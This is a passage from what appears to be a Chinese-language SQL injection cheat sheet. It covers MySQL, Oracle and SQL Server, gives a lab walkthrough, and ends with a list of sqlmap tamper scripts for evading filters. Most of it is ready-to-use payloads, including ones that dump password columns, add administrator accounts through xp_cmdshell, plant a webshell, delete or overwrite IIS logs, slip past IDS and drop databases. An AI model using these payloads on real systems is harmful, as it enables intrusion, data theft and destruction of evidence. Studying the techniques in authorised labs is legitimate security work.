这里需要注意的是它加了连接字符,导致数据中的 md5 只能爆出 31 位,这里可以用分割函数分割出来:

substr(string string,num start,num length);
#string为字符串,start为起始位置,length为长度
?id=1' and updatexml(1,concat(0x7e, substr((select password from users limit 1,1),1,16),0x7e),1) -- +

时间盲注

时间盲注也叫延时注入,一般用到函数 sleep() BENCHMARK() 还可以使用笛卡尔积(尽量不要使用,内容太多会很慢很慢)。一般时间盲注我们还需要使用条件判断函数

#if(expre1,expre2,expre3)
当 expre1 为 true 时,返回 expre2,false 时,返回 expre3

#盲注的同时也配合着 mysql 提供的分割函
substr、substring、left

我们一般喜欢把分割的函数编码一下,当然不编码也行,编码的好处就是可以不用引号,常用到的就有 ascii() hex() 等等

?id=1' and if(ascii(substr(database(),1,1))>115,1,sleep(5))--+
?id=1' and if((substr((select user()),1,1)='r'),sleep(5),1)--+

布尔盲注

?id=1' and substr((select user()),1,1)='r' -- +
?id=1' and IFNULL((substr((select user()),1,1)='r'),0) -- +
#如果 IFNULL 第一个参数的表达式为 NULL,则返回第二个参数的备用值,不为 Null 则输出值
?id=1' and strcmp((substr((select user()),1,1)='r'),1) -- +
#若所有的字符串均相同,STRCMP() 返回 0,若根据当前分类次序,第一个参数小于第二个,则返回 -1 ,其它情况返回 1

insert、delete、update

insert,delete,update 主要是用到盲注和报错注入,此类注入点不建议使用 sqlmap 等工具,会造成大量垃圾数据,一般这种注入会出现在 注册、ip头、留言板等等需要写入数据的地方,同时这种注入不报错一般较难发现,我们可以尝试性插入、引号、双引号、转义符 \ 让语句不能正常执行,然后如果插入失败,更新失败,然后深入测试确定是否存在注入

报错

mysql> insert into admin (id,username,password) values (2,"or updatexml(1,concat(0x7e,(version())),0) or","admin");
Query OK, 1 row affected (0.00 sec) 
mysql> select * from admin;
+------+-----------------------------------------------+----------+
| id   | username                                      | password |
+------+-----------------------------------------------+----------+
|    1 | admin                                         | admin    |
|    1 | and 1=1                                       | admin    |
|    2 | or updatexml(1,concat(0x7e,(version())),0) or | admin    |
+------+-----------------------------------------------+----------+
3 rows in set (0.00 sec)  
mysql> insert into admin (id,username,password) values (2,""or updatexml(1,concat(0x7e,(version())),0) or"","admin");
ERROR 1105 (HY000): XPATH syntax error: '~5.5.53'  
#delete 注入很危险,很危险,很危险,切记不能使用 or 1=1 ,or 右边一定要为false
mysql> delete from admin where id =-2 or updatexml(1,concat(0x7e,(version())),0);
ERROR 1105 (HY000): XPATH syntax error: '~5.5.53'

盲注

#int型 可以使用 运算符 比如 加减乘除 and or 异或 移位等等
mysql> insert into admin values (2+if((substr((select user()),1,1)='r'),sleep(5),1),'1',"admin");
Query OK, 1 row affected (5.00 sec)
mysql> insert into admin values (2+if((substr((select user()),1,1)='p'),sleep(5),1),'1',"admin");
Query OK, 1 row affected (0.00 sec)
#字符型注意闭合不能使用and
mysql> insert into admin values (2,''+if((substr((select user()),1,1)='p'),sleep(5),1)+'',"admin");
Query OK, 1 row affected (0.00 sec)
mysql> insert into admin values (2,''+if((substr((select user()),1,1)='r'),sleep(5),1)+'',"admin");
Query OK, 1 row affected (5.01 sec)
# delete 函数 or 右边一定要为 false
mysql> delete from admin where id =-2 or if((substr((select user()),1,1)='r4'),sleep(5),0);
Query OK, 0 rows affected (0.00 sec)
mysql> delete from admin where id =-2 or if((substr((select user()),1,1)='r'),sleep(5),0);
Query OK, 0 rows affected (5.00 sec)
#update 更新数据内容
mysql> select * from admin;
+------+----------+----------+
| id   | username | password |
+------+----------+----------+
|    2 | 1        | admin    |
|    2 | 1        | admin    |
|    2 | 1        | admin    |
|    2 | admin    | admin    |
+------+----------+----------+
4 rows in set (0.00 sec)
mysql> update admin set id="5"+sleep(5)+"" where id=2;
Query OK, 4 rows affected (20.00 sec)
Rows matched: 4  Changed: 4  Warnings: 0

二次注入与宽字节注入

二次注入的语句:在没有被单引号包裹的sql语句下,我们可以用16进制编码它,这样就不会带有单引号等。

mysql> insert into admin (id,name,pass) values ('3',0x61646d696e272d2d2b,'11');
Query OK, 1 row affected (0.00 sec)  
mysql> select * from admin;
+----+-----------+-------+
| id | name      | pass  |
+----+-----------+-------+
|  1 | admin     | admin |
|  2 | admin'111 | 11111 |
|  3 | admin'--+ | 11    |
+----+-----------+-------+
4 rows in set (0.00 sec)

二次注入在没有源码的情况比较难发现,通常见于注册,登录恶意账户后,数据库可能会因为恶意账户名的问题,将 admin'--+ 误认为 admin 账户

宽字节注入:针对目标做了一定的防护,单引号转变为 \' , mysql 会将 \ 编码为 %5c ,宽字节中两个字节代表一个汉字,所以把 %df 加上 %5c 就变成了一个汉字“運”,使用这种方法成功绕过转义,就是所谓的宽字节注入

id=-1%df' union select... 
#没使用宽字节
%27 -> %5C%27

#使用宽字节
%df%27 -> %df%5c%27 -> 運'

Oracle 手工注入

联合注入

?id=-1' union select user,null from dual--
?id=-1' union select version,null from v$instance--
?id=-1' union select table_name,null from (select * from (select rownum as limit,table_name from user_tables) where limit=3)--
?id=-1' union select column_name,null from (select * from (select rownum as limit,column_name from user_tab_columns where table_name ='USERS') where limit=2)--
?id=-1' union select username,passwd from users--
?id=-1' union select username,passwd from (select * from (select username,passwd,rownum as limit from users) where limit=3)--

报错注入

?id=1' and 1=ctxsys.drithsx.sn(1,(select user from dual))--
?id=1' and 1=ctxsys.drithsx.sn(1,(select banner from v$version where banner like 'Oracle%))--
?id=1' and 1=ctxsys.drithsx.sn(1,(select table_name from (select rownum as limit,table_name from user_tables) where limit= 3))--
?id=1' and 1=ctxsys.drithsx.sn(1,(select column_name from (select rownum as limit,column_name from user_tab_columns where table_name ='USERS') where limit=3))--
?id=1' and 1=ctxsys.drithsx.sn(1,(select passwd from (select passwd,rownum as limit from users) where limit=1))--

布尔盲注

既然是盲注,那么肯定涉及到条件判断语句,Oracle除了使用IF the else end if这种复杂的,还可以使用 decode() 函数。
语法:decode(条件,值1,返回值1,值2,返回值2,...值n,返回值n,缺省值);

该函数的含义如下:

IF 条件=值1 THEN
    RETURN(返回值1)
ELSIF 条件=值2 THEN
    RETURN(返回值2)
    ......
ELSIF 条件=值n THEN
    RETURN(返回值n)
ELSE
    RETURN(缺省值)
END IF

?id=1' and 1=(select decode(user,'SYSTEM',1,0,0) from dual)--
?id=1' and 1=(select decode(substr(user,1,1),'S',1,0,0) from dual)--
?id=1' and ascii(substr(user,1,1))> 64--  #二分法

SQL server 手工注入

联合注入

?id=-1' union select null,null--
?id=-1' union select @@servername, @@version--
?id=-1' union select db_name(),suser_sname()--
?id=-1' union select (select top 1 name from sys.databases where name not in (select top 6 name from sys.databases)),null--
?id=-1' union select (select top 1 name from sys.databases where name not in (select top 7 name from sys.databasesl),null--
?id--1' union select (select top 1 table_ name from information_schema.tables where table_name not in (select top 0 table_name from information_schema.tables)),null--
?id=-1' union select (select top 1 column name from information_schema.columns where table_name='users' and column_name not in (select top 1 column_name from information_schema.columns where table_name = 'users')),null---
?id=-1' union select (select top 1 username from users where username not in (select top 3 username from users)),null--

报错注入

?id=1' and 1=(select 1/@@servername)--
?id=1' and 1=(select 1/(select top 1 name from sys.databases where name not in (select top 1 name from sys.databases))--

布尔盲注

?id=1' and ascii(substring((select db_ name(1)),1,1))> 64--

时间盲注

?id= 1';if(2>1) waitfor delay '0:0:5'--
?id= 1';if(ASCII(SUBSTRING((select db_name(1)),1,1))> 64) waitfor delay '0:0:2'--

手动注入 总结 2

看看下面的
1.判断是否有注入
;and 1=1
;and 1=2

2.初步判断是否是mssql
;and user>0

3.判断数据库系统
;and (select count(*) from sysobjects)>0 mssql
;and (select count(*) from msysobjects)>0 access

4.注入参数是字符
'and [查询条件] and ''='

5.搜索时没过滤参数的
'and [查询条件] and '%25'='

6.猜数据库
;and (select Count(*) from [数据库名])>0

7.猜字段
;and (select Count(字段名) from 数据库名)>0

8.猜字段中记录长度
;and (select top 1 len(字段名) from 数据库名)>0

9.(1)猜字段的ascii值(access)
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0

(2)猜字段的ascii值(mssql)
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0

10.测试权限结构(mssql)
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
;and 1=(select IS_MEMBER('db_owner'));--

11.添加mssql和系统的帐户
;exec master.dbo.sp_addlogin username;--
;exec master.dbo.sp_password null,username,password;--
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
;exec master.dbo.xp_cmdshell 'net user username password /add';--
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--

12.(1)遍历目录
;create table dirs(paths varchar(100), id int)
;insert dirs exec master.dbo.xp_dirtree 'c:\'
;and (select top 1 paths from dirs)>0
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)

(2)遍历目录
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容

13.mssql中的存储过程
xp_regenumvalues 注册表根键, 子键
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
xp_regread 根键,子键,键值名
;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
xp_regwrite 根键,子键, 值名, 值类型, 值
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表
xp_regdeletevalue 根键,子键,值名
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值

14.mssql的backup创建webshell
use model
create table cmd(str image);
insert into cmd(str) values ('');
backup database model to disk='c:\l.asp';

15.mssql内置函数
;and (select @@version)>0 获得Windows的版本号
;and user_name()='dbo' 判断当前系统的连接用户是不是sa
;and (select user_name())>0 爆当前系统的连接用户
;and (select db_name())>0 得到当前连接的数据库


16.简洁的webshell
use model
create table cmd(str image);
insert into cmd(str) values ('');
backup database model to disk='g:\wwwtest\l.asp';

请求的时候,像这样子用:
http://ip/l.asp?c=dir


SQL手工注入大全

前提需要工具:SQL Query Analyzer和SqlExec Sunx Version

1.去掉xp_cmdshell扩展过程的方法是使用如下语句:

if exists (select * from dbo.sysobjects where id=object_id(N'[dbo].[xpcmdshell]') and OBJECTPROPERTY(id,N'IsExtendedProc')=1)
exec sp_dropextendedproc N'[dbo].[xp_cmdshell]'

2.添加xp_cmdshell扩展过程的方法是使用如下语句:

(1)SQL Query Analyzer

sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'

(2)首先在SqlExec Sunx Version的Format选项里填上%s,在CMD选项里输入

sp_addextendedproc 'xp_cmdshell','xpsql70.dll'

去除

sp_dropextendedproc 'xp_cmdshell'

(3)MSSQL2000

sp_addextendedproc 'xp_cmdshell','xplog70.dll'

?


SQL手工注入方法总结(SQL Server2005)2010-01-28 16:17---------以下以省略注入点用URL代替

--(1) ******查看驱动器方法******

-- 建表p(i为自动编号,a记录盘符类似"c:\",b记录可用字节,其它省略)
URL;create table p(i int identity(1,1),a nvarchar(255),b nvarchar(255),c nvarchar(255),d nvarchar(255));--

URL;insert p exec xp_availablemedia;--列出所有驱动器并插入表p

URL;and (select count(*) from p)>3;--折半法查出驱动器总数

URL;and ascii(substring((select a from p where i=1),1,1))=67;--折半法查出驱动器名(注asc(c)=67)

--上面一般用于无显错情况下使用-------以此类推,得到所有驱动器名

URL;and (select a from p where i=1)>3;--报错得到第一个驱动器名

--上面一般用于显错情况下使用-------以此类推,得到所有驱动器名

URL;;drop table p;--删除表p

--(2) ******查看目录方法******

URL;create table pa(m nvarchar(255),i nvarchar(255));--建表pa(m记录目录,i记录深度)

URL;insert pa exec xp_dirtree ’e:’;--列出驱动器e并插入表pa

URL;and (select count(*) from pa where i>0)>-1;--折半法查出i深度

URL;and (select top 1 m from pa where i=1 and m not in(select top 0 m from pa))>0;--报错得到深度i=1的第一个目录名

--上面一般用显错且目录名不为数字情况下使用-------(得到第二个目录把"top 0"换为"top 1",换深度只换i就行)以此类推,得到e盘的所有目录

URL;and len((select top 1 m from pa where i=1 and m not in(select top 0 m from pa)))>0;--折半法查出深度i=1的第一个目录名的长度

URL;and ascii(substring((select top 1 m from pa where i=1 and m not in(select top 0 m from pa)),1,1))>0;--折半法查出深度i=1的第一个目录名的第一个字符长度

--上面一般用无显错情况下使用-------(得到第二个目录把"top 0"换为"top 1",换深度只换i就行)以此类推,得到e盘的所有目录

URL;drop

手工MSSQL注入常用SQL语句
and exists (select * from sysobjects) //判断是否是MSSQL
and exists(select * from tableName) //判断某表是否存在..tableName为表名
and 1=(select @@VERSION) //MSSQL版本
And 1=(select db_name()) //当前数据库名
and 1=(select @@servername) //本地服务名
and 1=(select IS_SRVROLEMEMBER(‘sysadmin’)) //判断是否是系统管理员
and 1=(Select IS_MEMBER(‘db_owner’)) //判断是否是库权限
and 1= (Select HAS_DBACCESS(‘master’)) //判断是否有库读取权限
and 1=(select name from master.dbo.sysdatabases where dbid=1) //暴库名DBID为1,2,3….
;declare @d int //是否支持多行
and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = ‘X’ AND name = ‘xp_cmdshell’) //判断XP_CMDSHELL是否存在
and 1=(select count(*) FROM master.dbo.sysobjects where name= ‘xp_regread’) //查看XP_regread扩展存储过程是不是已经被删除
添加和删除一个SA权限的用户test:(需要SA权限)
exec master.dbo.sp_addlogin test,password
exec master.dbo.sp_addsrvrolemember test,sysadmin
停掉或激活某个服务。 (需要SA权限)
exec master..xp_servicecontrol ‘stop’,’schedule’
exec master..xp_servicecontrol ‘start’,’schedule’
暴网站目录
create table labeng(lala nvarchar(255), id int)
DECLARE @result varchar(255) EXEC master.dbo.xp_regread ‘HKEY_LOCAL_MACHINE’,’SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots’,’/’,@result output insert into labeng(lala) values(@result);
and 1=(select top 1 lala from labeng) 或者and 1=(select count(*) from labeng where lala>1)
—————————————————————————————————————————————————————分割
SQL Server
判断是否可注射:
http://www.exehack.net/article.asp?id=6
http://www.exehack.net/article.asp?id=6′
http://www.exehack.net/article.asp?id=6 and 1=1
http://www.exehack.net/article.asp?id=6 and 1=2
http://www.exehack.net/article.asp?action=value’ and 1=1
http://www.exehack.net/article.asp?action=value’ and 1=2
searchpoints%’ and 1=1
searchpoints%’ and 1=2
确定数据库类型:
http://www.exehack.net/article.asp?id=6 and user>0
http://www.exehack.net/article.asp?id=6 and (select count(*) from sysobjects)>0
查询当前用户数据信息:
article.asp?id=6 having 1=1–
暴当前表中的列:
article.asp?id=6 group by admin.username having 1=1–
article.asp?id=6 group by admin.username,admin.password having 1=1–
暴任意表和列:
and (select top 1 name from (select top N id,name from sysobjects where xtype=char(85)) T order by id desc)>1
and (select top col_name(object_id(‘admin’),N) from sysobjects)>1
暴数据库数据:
and (select top 1 password from admin where id=N)>1
修改数据库中的数据:
;update admin set password=’oooooo’ where username=’xxx’
增添数据库中的数据:
;insert into admin values (xxx,oooooo)–
删数据库:
;drop database webdata
获取当前数据库用户名:and user>0
获取当前数据库名:and db_name()>0
获取数据库版本:and (select @@version)>0
判断是否支持多句查询:;declare @a int–
判断是否支持子查询:and (select count(1) from [sysobjects])>=0
数据库的扩展存储过程:exec master..xp_cmdshell
查看服务器C盘目录:;exec_master..xp_cmdshell ‘dir c:\’
判断扩展存储过程是否存在:and select count(*) from master.dbo.sysobjects where xtype=’x’ and name=’xp_cmdshell’
恢复扩展存储过程:;exec sp_addextendedproc xp_cmdshell,’xplog70.dll’
删除扩展存储过程:;exec sp_dropextendedproc ‘xp_cmdshell’
在MSSQL2000中提供了一些函数用于访问OLE对象间接获取权限:
;declare @s int
;exec sp_oacreat ‘wscript.shell’,@s
;exec master..spoamethod @s,’run’,null,’cmd.exe/c dir c:\’
判断当前数据库用户名是否拥有比较高的权限:
and 1=(select is_srvrolemember(‘sysadmin’))
and 1=(select is_srvrolemember(‘serveradmin’))
and 1=(select is_srvrolemember(‘setupadmin’))
and 1=(select is_srvrolemember(‘securityadmin’))
and 1=(select is_srvrolemember(‘diskadmin’))
and 1=(select is_srvrolemember(‘bulkadmin’))
判断当前数据库用户名是否为DB_OWNER:
and 1=(select is_member(‘db_owner’))
在SQLSERVER的master.dbo.sysdatabases表中存放着SQLSERVER数据库系统中的所有数据库信息,只需要PUBLIC权限就可以对此表进行SELECT操作:
and (select top 1 name from master.dbo.sysdatabase order by dbid)>0
and (select top 1 name from master.dbo.sysdatabase where name not in(select top 1 name from master.dbo.sysdatabases order by dbid) order by dbid)>0
删除日志记录:
;exec master.dbo.xp_cmdshell ‘del c:\winnt\system32\logfiles\w3svc5\ex070606.log >c:\temp.txt’
替换日志记录:
;exec master.dbo.xp_cmdshell ‘copy c:\winnt\system32\logfiles\w3svc5\ex070404.log c:\winnt\system32\logfiles\w3svc5\ex070606.log >c:\temp.txt’
获取WEB路径:
;declare @shell int
;exec master..sp_oamethod ‘wscript.shell’,@shell out
;exec master..sp_oamethod @shell,’run’,null,’cmd.exe/c dir /s d:/index.asp >c:/log.txt
利用XP_CMDSHELL搜索:
;exec master..xp_cmdshell ‘dir /s d:/index.asp’
显示服务器网站配置信息命令:
cmd /c cscript.exe c:\inetpub\adminscript\adsutil.vbs enum w3svc/1/root
cmd /c cscript.exe c:\inetpub\adminscript\adsutil.vbs enum w3svc/2/root
利用XP_REGREAD可用PUBLIC权限读取:
;exec master.dbo.xp_regread
hkey_local_machine,
‘system\currentcontrolset\services\w3svc\parameters\virtual roots\’
‘/’
SQLSERVER下的高级技术可以参考阅读曾云好所著的精通脚本黑客第五章。
3、DSqlHelper
检测权限SYSADMIN:
and 1=(select IS_SRVROLEMEMBER(‘sysadmin’))
serveradmin、setupadmin、securityadmin、diskadmin、bulkadmin、db_owner。
检测XP_CMDSHELL(CMD命令):
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= ‘xp_cmdshell’)
检测XP_REGREAD(注册表读取功能):
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= ‘xp_regread’)
检测SP_MAKEWEBTASK(备份功能):
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= ‘sp_makewebtask’)
检测SP_ADDEXTENDEDPROC:
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= ‘sp_addextendedproc’)
检测XP_SUBDIRS读子目录:
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= ‘xp_subdirs’)
检测XP_DIRTREE读子目录:
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= ‘xp_dirtree’)
修改内容:
; UPDATE 表名 set 字段=内容 where 1=1
XP_CMDSHELL检测:
;exec master..xp_cmdshell ‘dir c:\’
修复XP_CMDSHELL:
;exec master.dbo.sp_addextendedproc ‘xp_cmdshell’, ‘xplog70.dll’
用XP_CMDSHELL添加用户hacker:
;exec master.dbo.xp_cmdshell ‘net user hacker 123456 /add’
XP_CMDSHELL把用户hacker加到ADMIN组:
;exec master.dbo.xp_cmdshell ‘net localgroup administrators hacker /add’
创建表test:
;create table [dbo].[test] ([dstr][char](255));
检测表段test:
and exists (select * from test)
读取WEB的位置(读注册表):
;DECLARE @result varchar(255) EXEC master.dbo.xp_regread ‘HKEY_LOCAL_MACHINE’,’SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots’, ‘/’,@result output insert into test (dstr) values(@result);–
爆出WEB的绝对路径(显错模式):
and 1=(select count(*) from test where dstr > 1)
删除表test:
;drop table test;–
创建查看目录的表dirs:
;create table dirs(paths varchar(100), id int)
把查看目录的内容加入表dirs:
;insert dirs exec master.dbo.xp_dirtree ‘c:\’
爆目录的内容dirs:
and 0<>(select top 1 paths from dirs)
备份数据库DATANAME:
declare @a sysname; set @a=db_name();backup DATANAME @a to disk=’c:\inetpub\wwwroot\down.bak’;–
删除表dirs:
;drop table dirs;–
创建表temp:
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));–
把驱动盘列表加入temp表:
;insert temp exec master.dbo.xp_availablemedia;–
删除表temp:
;delete from temp;–
创建表dirs:
;create table dirs(paths varchar(100), id int);–
获得子目录列表XP_SUBDIRS:
;insert dirs exec master.dbo.xp_subdirs ‘c:\’;–
爆出内容(显错模式):
and 0<>(select top 1 paths from dirs)
删除表dirs:
;delete from dirs;–
创建表dirs:
;create table dirs(paths varchar(100), id int)–
用XP_CMDSHELL查看目录内容:
;insert dirs exec master..xp_cmdshell ‘dir c:\’
删除表dirs:
;delete from dirs;–
检测SP_OAcreate(执行命令):
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= ‘SP_OAcreate’)
SP_OAcreate执行CMD命令:
;DECLARE @shell INT EXEC SP_OAcreate ‘wscript.shell’,@shell OUTPUT EXEC SP_OAMETHOD @shell,’run’,null, ‘C:\WINNT\system32\cmd.exe /c net user hacker 123456 /add’
SP_OAcreate建目录:
;DECLARE @shell INT EXEC SP_OAcreate ‘wscript.shell’,@shell OUTPUT EXEC SP_OAMETHOD @shell,’run’,null, ‘C:\WINNT\system32\cmd.exe /c md c:\inetpub\wwwroot\1111’
创建一个虚拟目录E盘:
;declare @o int exec sp_oacreate ‘wscript.shell’, @o out exec sp_oamethod @o, ‘run’, NULL,’ cscript.exe c:\inetpub\wwwroot\mkwebdir.vbs -w “默认 Web 站点” -v “e”,”e:\”‘
设置虚拟目录E为可读:
;declare @o int exec sp_oacreate ‘wscript.shell’, @o out exec sp_oamethod @o, ‘run’, NULL,’ cscript.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse’
启动SERVER服务:
;exec master..xp_servicecontrol ‘start’, ‘server’
绕过IDS检测XP_CMDSHELL:
;declare @a sysname set @a=’xp_’+’cmdshell’ exec @a ‘dir c:\’
开启远程数据库1:
; select * from OPENROWSET(‘SQLOLEDB’, ‘server=servername;uid=sa;pwd=apachy_123’, ‘select * from table1’ )
开启远程数据库2:
;select * from OPENROWSET(‘SQLOLEDB’, ‘uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;’, ‘select * from table’

一次简单的 SQL 手工注入

示例:( 可以基于 dvwa 、pikachu 等靶场进行测试 )

(1)根据以上知识判断,在搜索框中输入and 1=1(或or 1=1等)的一些变换形式不断尝试,最后发现输入' and 1=1 #返回页面正常,因此初步判断网站存在基于报错的搜索型注入点,

(2)然后开始进行手工注入
    a. 暴字段长度:命令 ' order by 3 #  页面返回正常,命令 ' order by 4 # 报错,因此判断字段长度为3。
    
    b. 匹配字段:命令 ' select 1,2,3 #无法执行,输入命令 ' and 1=1 union select 1,2,3 # 页面以及字段信息正常回显(因此该注入支持union联合查询注入)
        暴字段位置:命令 ' and 1=2 union select 1,2,3 # 。页面返回2,3
        
    c. 暴库,命令(MySQL暴库命令) ' and 1=2 union select 1,2,SCHEMA_NAME from information_schema.SCHEMATA  # 。根据页面返回信息可知网站使用MYSQL数据库,且网站的数据库为news。
        命令解析:SCHEMA_NAME当前数据库名 
        information_schema(数据词典)是MySQL自带的数据库,它提供了访问数据库元数据的方式(元数据是关于数据的数据,如数据库名或表名,列的数据类型,或访问权限等)。
        SCHEMATA(information_schema中的一个表):提供了当前MySQL实例中所有数据库的信息。show databases的结果取之此表。

    d. 猜表,命令  ' union select 1,2,TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA = 'news' # 。可以看到有news和secret_table两个表。
        命令解析:TABLE_NAME 当前表名
        TABLES(information_schema中的一个表)提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema,表类型,表引擎,创建时间等信息。是show tables from schemaname的结果取之此表。

    e. 猜字段,命令 ''and 1=2 union select 1,2,COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME = 'news' #  
        ''and 1=2 union select 1,2,COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME = 'secret_table' #
        输入两个命令后发现表二中有 fl4g  字段

    f. 暴密码(flag),命令 ' and 1=2 union select 1,2,fl4g from secret_table # 。得到flag,SQL注入完成

6、一些 插件 说明

sqlmap 常用 tamper 解释:https://blog.csdn.net/qq_36950158/article/details/123688002

支持的数据库

编号

脚本名称

作用

实现方式

all

1

apostrophemask.py

用utf8代替引号

("1 AND '1'='1") 
'1 AND %EF%BC%871%EF%BC%87=%EF%BC%871' 

2

base64encode.py 

用base64编码替换

("1' AND SLEEP(5)#")
'MScgQU5EIFNMRUVQKDUpIw=='

3

multiplespaces.py

围绕SQL关键字添加多个空格

('1 UNION SELECT foobar')
'1    UNION     SELECT   foobar'

4

space2plus.py

用+替换空格

('SELECT id FROM users')
'SELECT+id+FROM+users'

5

nonrecursivereplacement.py

双重查询语句。取代predefined SQL关键字with表示 
suitable for替代(例如  .replace(“SELECT”、”")) filters

('1 UNION SELECT 2--')
'1 UNIOUNIONN SELESELECTCT 2--'

6

space2randomblank.py

代替空格字符(“”)从一个随机的空
白字符可选字符的有效集

('SELECT id FROM users')
'SELECT%0Did%0DFROM%0Ausers'

7

unionalltounion.py

替换UNION ALL SELECT UNION SELECT

('-1 UNION ALL SELECT')
'-1 UNION SELECT'

8

securesphere.py

追加特制的字符串

('1 AND 1=1')
"1 AND 1=1 and '0having'='0having'"

mssql

1

space2hash.py

绕过过滤‘=’ 替换空格字符(”),(’ – ‘)后跟一个破折号注释一个随机字符串和一个新行(’ n’)

'1 AND 9227=9227' 
'1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227' 

2

equaltolike.py

like 代替等号

* Input: SELECT * FROM users WHERE id=1 
2 * Output: SELECT * FROM users WHERE id LIKE 1 

3

space2mssqlblank.py(mssql)

空格替换为其它空符号

Input: SELECT id FROM users
Output: SELECT%08id%02FROM%0Fusers

4

space2mssqlhash.py

替换空格

('1 AND 9227=9227')
'1%23%0AAND%23%0A9227=9227'

5

between.py

用between替换大于号(>)

('1 AND A > B--')
'1 AND A NOT BETWEEN 0 AND B--'

6

percentage.py

asp允许每个字符前面添加一个%号

* Input: SELECT FIELD FROM TABLE
* Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E

7

sp_password.py

追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾

('1 AND 9227=9227-- ')
'1 AND 9227=9227-- sp_password'

8

charencode.py

url编码

* Input: SELECT FIELD FROM%20TABLE
* Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45

9

randomcase.py

随机大小写

* Input: INSERT
* Output: InsERt

10

charunicodeencode.py

字符串 unicode 编码

* Input: SELECT FIELD%20FROM TABLE
* Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′

11

space2comment.py

Replaces space character (‘ ‘) with comments ‘/**/’

* Input: SELECT id FROM users
* Output: SELECT//id//FROM/**/users

mysql >= 5.1.13

1

equaltolike.py

like 代替等号


* Input: SELECT * FROM users WHERE id=1 
2 * Output: SELECT * FROM users WHERE id LIKE 1 

2

greatest.py

绕过过滤’>’ ,用GREATEST替换大于号。

('1 AND A > B')
'1 AND GREATEST(A,B+1)=A'

3

apostrophenullencode.py

绕过过滤双引号,替换字符和双引号。

tamper("1 AND '1'='1")

'1 AND %00%271%00%27=%00%271'

4

ifnull2ifisnull.py

绕过对 IFNULL 过滤。
替换类似’IFNULL(A, B)’为’IF(ISNULL(A), B, A)’

('IFNULL(1, 2)')
'IF(ISNULL(1),2,1)'

5

space2mssqlhash.py

替换空格

('1 AND 9227=9227')
'1%23%0AAND%23%0A9227=9227'

6

modsecurityversioned.py

过滤空格,包含完整的查询版本注释

('1 AND 2>1--')
'1 /*!30874AND 2>1*/--'

7

space2mysqlblank.py

空格替换其它空白符号(mysql)

Input: SELECT id FROM users
Output: SELECT%0Bid%0BFROM%A0users

8

between.py

用between替换大于号(>)

('1 AND A > B--')
'1 AND A NOT BETWEEN 0 AND B--'

9

modsecurityzeroversioned.py

包含了完整的查询与零版本注释

('1 AND 2>1--')
'1 /*!00000AND 2>1*/--'

10

space2mysqldash.py

替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’)

('1 AND 9227=9227')
'1--%0AAND--%0A9227=9227'

11

bluecoat.py

代替空格字符后与一个有效的随机空白字符的SQL语句。
然后替换=为like

('SELECT id FROM users where id = 1')
'SELECT%09id FROM users where id LIKE 1'

12

percentage.py

asp允许每个字符前面添加一个%号

* Input: SELECT FIELD FROM TABLE
* Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E

13

charencode.py

url编码

* Input: SELECT FIELD FROM%20TABLE
